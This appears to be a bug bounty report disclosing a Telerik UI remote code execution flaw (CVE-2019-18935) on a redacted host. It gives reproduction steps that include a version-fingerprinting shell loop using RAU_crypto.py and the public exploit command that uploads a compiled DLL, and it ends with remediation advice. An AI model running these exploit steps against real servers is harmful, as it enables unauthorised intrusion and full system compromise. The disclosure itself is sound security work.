Remote Code Execution via CVE-2019-18935

How it was found

Summary: The website at https://█████████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing an attacker to upload arbitrary files and gain remote code execution on the underlying system.

Step-by-step Reproduction Instructions

1. Browse to https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau. You will see the following message confirming that the file upload handler is registered: { "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }
2. From here on out I used the write-up at https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui for reference.
3. With a slight modification to the script in the BishopFox write-up, I was able to determine the software version:

echo 'test' > testfile.txt
for VERSION in $(cat versions.txt); do
            echo -n "$VERSION: "
                python3 RAU_crypto.py -P 'C:\Windows\Temp' "$VERSION" testfile.txt https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo
        done

The versions.txt file I used has been attached to this report for ease of replication. 4. As shown in the results, the version is vulnerable to CVE-2017-11317 and I was able to successfully upload the testfile.txt. ██████████ 5. Next, on a Windows system with Visual Studio installed, compile a dll using build_dll.bat as shown in the BishopFox article. 6. Using python3 CVE-2019-18935.py -u https://████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau -v 2016.2.607 -f 'C:\Windows\Temp' -p <your_created_dll>.dll, if you compiled using the PoC in the article you should be able to make the server hang for around 10 seconds. 7. Once the sleep is over, the server should respond with a similar message as follows: [*] Response time: 12.34 seconds showing the server is vulnerable to CVE-2019-18935. 8. At this point you can upload a reverse shell payload, but I feel the sleep PoC is good enough to prove RCE.

Product, Version, and Configuration (If applicable)

Telerik UI 2016.2.607

References

https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui https://github.com/bao7uo/RAU_crypto https://github.com/noperator/CVE-2019-18935 https://hackerone.com/reports/838196

Suggested Mitigation/Remediation Actions

Follow recommended fix actions at https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

Impact

Remote Code Execution/Total system compromise.